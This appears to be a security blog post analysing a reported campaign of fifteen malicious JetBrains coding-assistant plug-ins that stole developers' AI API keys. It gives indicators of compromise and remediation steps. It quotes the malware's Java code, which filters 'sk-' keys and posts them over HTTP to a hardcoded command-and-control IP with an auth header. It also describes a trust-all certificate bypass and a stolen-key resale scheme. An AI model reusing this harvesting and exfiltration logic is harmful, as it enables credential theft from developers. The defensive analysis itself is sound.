Siphoning AI Secrets: How 15 Fake IDE Coding Assistants Intercepted Developer API Keys

Developers tend to treat their IDEs as isolated sandboxes. We download plug-ins, custom themes, linters, and helper extensions with zero hesitation, assuming that because an extension lives inside an official marketplace, it has gone through some rigorous vetting. But IDE plug-ins run with the exact same system permissions as the developer running them. They are not sandboxed browser extensions. They have access to local file systems, environment variables, internal network routing, and whatever credentials you feed into them. When supply chain attacks target these systems, the exposure is massive, direct, and incredibly silent.

This vulnerability became glaringly obvious on June 16, 2026, when security researchers at Aikido Security blew the whistle on a highly coordinated campaign targeting the JetBrains Marketplace. At least 15 malicious plug-ins, uploaded across seven distinct, seemingly independent vendor accounts, functioned exactly as advertised while secretly harvesting developer keys for commercial AI models like OpenAI, DeepSeek, and SiliconFlow. The campaign had been operating under the radar for nearly eight months, starting in October 2025, and managed to accumulate almost 70,000 installs.

Let's think about this. It's the ultimate bait-and-switch: give the developer a functioning AI helper tool, watch them paste their high-privilege API key into the settings, and immediately siphon that secret off to a remote server. The implications of this are severe. It reminds me of the recent CRM breach at LastPass (https://probackend.com/articles/lastpass-suffers-crm-data-exposure-following-third-party-oauth-incident), which showed how third-party application connections are easily abused if trust boundary audits are skipped, or the SoFi Hong Kong data compromise (https://probackend.com/articles/sofi-hong-kong-data-breach-confirmed-third-party-vendor-access) where external configurations leaked infrastructure details. If an API key is stolen, the attacker can run up tens of thousands of dollars in usage bills, access private prompt logs, or query models that have access to internal enterprise codebases.

The Malicious Logic: Intercepting the Save Handler

The design of this attack lies in its simplicity. The malware was not a complex exploit chain; it was a simple, dirty trick hidden inside the standard plug-in configuration workflow. When a developer installs one of these coding assistants, they have to supply their own LLM API keys. You open the settings pane, drop in your OpenAI or DeepSeek token, and hit "Apply" or "OK."

As soon as the user executes that save action, the plug-in's save(String key) method intercepts the string. Under the hood, the code checks if the key matches a specific pattern. For instance, the code verified if the key started with high-risk prefixes like "sk-" and had a length of exactly 51 characters—the signature pattern for OpenAI user-facing credentials.

To keep network logs from looking noisy, the plug-in utilized a local hash set (calling seen.add(key)) to verify it was a newly entered credential. If the key was fresh, the code instantiated a data transfer object SoftwareDto, populated the apiKey field, and called a utility class BaseUtil.request() to transmit the credential.

Here is the exact method signature showing how the siphoning worked under the hood:

public static void save(String key) {
    if (key != null && key.startsWith(\"sk-\") && seen.add(key) && StringUtils.length(key) == 51) {
        SoftwareDto dto = new SoftwareDto();
        dto.setApiKey(key);
        BaseUtil.request(\"key\", dto);
    }
}

Once the payload was wrapped inside BaseUtil.request(), the plug-in built an outbound connection. Instead of sending the credentials over a secure HTTPS endpoint owned by the model provider, it constructed a plain HTTP POST request targeting a raw, hardcoded IP address. The payload containing the developer's keys was serialized to JSON using the Gson library and shipped in plaintext:

URL url = new URI(\"http://39.107.60.51/api/software/\" + name).toURL();
connection.setRequestMethod(\"POST\");
connection.setRequestProperty(\"X-Api-Key\", \"F48D2AA7CF341F782C1D\");
byte[] input = new Gson().toJson(payload).getBytes(StandardCharsets.UTF_8);

As an API security specialist, I look at this code and shake my head. Using plain HTTP means anyone sniffing the local network path or inspecting corporate proxies could capture these keys in transit. But more importantly, the hardcoded authentication token F48D2AA7CF341F782C1D in the X-Api-Key HTTP header shows that the campaign used a singular command-and-control service that expected a very specific payload format from its distributed helper plug-ins.

Bypassing Warnings and Evading Network Detection

But how did these connections fly under the radar for eight months? Devs often monitor their local systems, and modern corporate firewalls flag weird self-signed certs or anomalous outbound connections. The attackers anticipated this.

Before firing these HTTP POST requests, the malicious plug-ins registered a custom JVM-wide trust manager X509TrustManager. This trust manager was configured to return true for every certificate validation check. By setting up this custom trust manager at the application level, the plug-in suppressed standard security warnings that might pop up in the IDE log files, project debuggers, or developer workstations.

This is a classic technique. Disabling certificate validation allows the plug-in's threads to bypass local certificate verification checks. If a developer runs an intercepting proxy on their machine to discover what their IDE is doing, they wouldn't see the IDE screaming about insecure network handshakes. It kept the malware running silent and clean, allowing it to aggregate credentials from close to 70,000 installs.

The Beijing Command-and-Control Infrastructure

The core destination for all these siphoned developer secrets was an IP address hosted on Alibaba Cloud in Beijing, China: 39.107.60.51.

The infrastructure details gathered by researchers at StepSecurity on June 19, 2026, show a very mature, ongoing operation. Even after JetBrains pulled the offending plug-ins on June 17, 2026, the command-and-control server at 39.107.60.51 remained operational, running an Nginx web server (version 1.20.1) and exposing a backend framework written in Java Spring Boot.

When researchers connected to the HTTP root of the server, they found a Chinese-language admin panel titled "信息管理平台" (translated as Information Management Platform) that loaded a login page built on the Metronic Bootstrap template. The panel used custom session tracking cookies like SESSIONID_ and returned specific Spring Boot validation errors.

For instance, hitting the API checkpoint with mismatched query keys or bad JSON bodies returned Chinese error messages such as "无效的软件！" ("Invalid software!"). This implies a centralized portal where the attacker could check the inventory of stolen API keys, track active developer accounts, review billing status, and run background tasks to check key balances, rate limits, and remaining tokens. The fact that the server stayed up days after the JetBrains removal suggests the operator had no intention of packing up and running; they likely have other active malware vectors targeting developer boxes.

The scale of the infrastructure is visible in the seven banned vendor accounts used to publish these tools:

• CodePilot (using the handle mycode)
• StackSmith (using the handle misshewei)
• CodeCrafter (using the handle keteme)
• CodeWeaver (using the handle simpledev)
• JetCode (using the handle skyblue)
• DailyCode (using the handle dialycode)
• ZenCoder (using the handle 947cb4c8-5db1-4cf0-8182-0aae7c433bb3)

These accounts were not throwaway systems created in a single day. They were registered at different stages over the eight-month period, publishing helper utilities as needed to maintain a low profile and avoid looking like a single coordinated release.

The Bizarre "Key Laundering" Donation Scheme

Many developers wondered why the plug-ins had paid options or donation panels. Usually, credit card payment systems require some form of identity verification, which malware operators try to avoid. Here, the attackers turned the plug-in's business logic into a key-laundering machine.

The plug-ins offered a paid tier or donation model. When a developer paid a small fee through the donation wall, the plug-in sent a validation check to the C2 server at http://39.107.60.51/api/software/check. In return, the server sent down a working, valid API key. The plug-in received this key and configured the client settings to use it instead of the developer's original token:

WebResult webResult = BaseUtil.request(\"check\", vo);
if (webResult.isSuccess()) {
    key = data.getApiKey(); // key returned by C2 server
}

The plugin preferred the server-supplied key:

public static String getKey() {
    return StringUtils.defaultIfBlank(BaseState.key, Value.getKey());
}

Think about how bizarre this is. A plug-in creator charging a nominal "donation" fee and then handing out unrestricted, paid API keys from premium providers like OpenAI or DeepSeek. No normal software developer works this way—the math doesn't add up unless the models are being financed with stolen credentials.

Security analysts believe this was a deliberate feedback loop. A free-tier developer installs a plug-in, inputs their OpenAI key, and the key is siphoned to the Beijing command-and-control server. The attacker checks that key's quota and validity. Then, a second developer comes along, pays a one-dollar "donation" to unlock the premium model features, and the server assigns them one of the siphoned keys. The attacker pockets the donation profit, the premium user gets a cheap coding assistant, and the compromised free developer gets stuck with the massive billing bill. It's carding and credential theft recycled into a micro-service.

Catalog of Compromised JetBrains Plug-ins

Here are the fifteen plug-ins identified in the malicious campaign, along with their package IDs, download metrics, and timeline info:

1. DeepSeek AI Assist (ord.cp.code.ai.kit): 27,727 downloads. Released on June 10, 2026. This was the most downloaded plug-in and was published just days before the Aikido Security report.
2. CodeGPT AI Assistant (com.my.code.tools): 25,571 downloads. Released on June 9, 2026. Together with DeepSeek AI Assist, this accounted for the bulk of the installs.
3. Coding Simple Tool (com.dp.git.ai.tool): 3,931 downloads. No longer available online.
4. DeepSeek Coder AI (com.review.tool.code): 3,498 downloads. Released on January 15, 2026.
5. DeepSeek Git Commit (com.json.simple.kit): 1,894 downloads. Released on November 1, 2025.
6. DeepSeek FindBugs (org.bug.find.tools): 1,485 downloads. Released on November 9, 2025.
7. DeepSeek AI Chat (org.translate.ai.simple): 1,317 downloads. Released on November 23, 2025.
8. DeepSeek Junit Test (org.sm.yms.toolkit): 1,121 downloads. Released on October 31, 2025.
9. DeepSeek Dev AI (com.yy.test.ai.simple): 740 downloads. Released on November 30, 2025.
10. AI Coder Review (org.check.ai.ds): 735 downloads. Released on January 11, 2026.
11. AI FindBugs (com.json.view.simple): 623 downloads. Released on December 14, 2025.
12. DeepSeek AI Coding (com.dev.ai.toolkit): 450 downloads. Released on December 6, 2025.
13. AI Coder Assistant (org.code.assist.dev.tool): 319 downloads. Released on February 1, 2026.
14. AI Git Commitor (com.my.git.ai.kit): 301 downloads. Released on January 10, 2026.
15. DeepSeek Code Review (com.coder.ai.dpt): 278 downloads. Released on April 18, 2026.

Collectively, these tools claimed to automate coding tasks, but instead served as silent drains on API accounts. The download statistics show how a single popular plug-in can infect thousands of machines in under a week.

Immediate Remediation and Security Audit Action Plan

If you or your development team had any of these extensions installed prior to their removal on June 17, 2026, you cannot rely solely on the JetBrains Marketplace block. JetBrains issued a remote command-kill switch that disables them locally, but residual files, configurations, and active outbound connections can pose lingering risks.

Take these steps immediately:

Step 1: Check Local Plugin Installation Folders

Examine the local folders of your developer workstations to ensure all trace files of the plug-in directories are deleted. Default paths vary by OS:

• macOS: ~/Library/Application Support/JetBrains/<product>/plugins/
• Linux: ~/.local/share/JetBrains/<product>/plugins/
• Windows: %APPDATA%\\JetBrains\\<product>\\plugins\\

Look for folders matching the package IDs listed in the catalog, such as org.sm.yms.toolkit or ord.cp.code.ai.kit. If found, delete the entire directory manually to prevent residual scripts or jars from running.

Step 2: Revoke and Rotate the Keys Immediately

Any API token entered into these plug-ins is fully compromised. Even if you only tested the plug-in for five minutes, the save() hook executed instantly.

• Go to the OpenAI API settings board (platform.openai.com/api-keys), find the keys used on your machines, delete/revoke them, and generate replacement tokens.
• Do the same on your DeepSeek developer dashboard.
• Rotate all tokens on your SiliconFlow management accounts.

Step 3: Block Network Traffic to the Attack Infrastructure

Add the C2 IP block 39.107.60.51 directly to your corporate firewall, routing systems, or DNS sinkholes. Inspect your historical firewall or DNS logs for outbound HTTP connections to this IP address from developer machines. If you spot connections targeting this address, particularly with the header X-Api-Key: F48D2AA7CF341F782C1D, you have confirmed compromised systems that require deep compliance investigation.

Related Reading

• 73 Malicious Packages Target AI Coding Agents with Self-Replicating Credential Stealer
• The Miasma Worm: A Self-Replicating Supply Chain Attack Targeting AI Coding Agents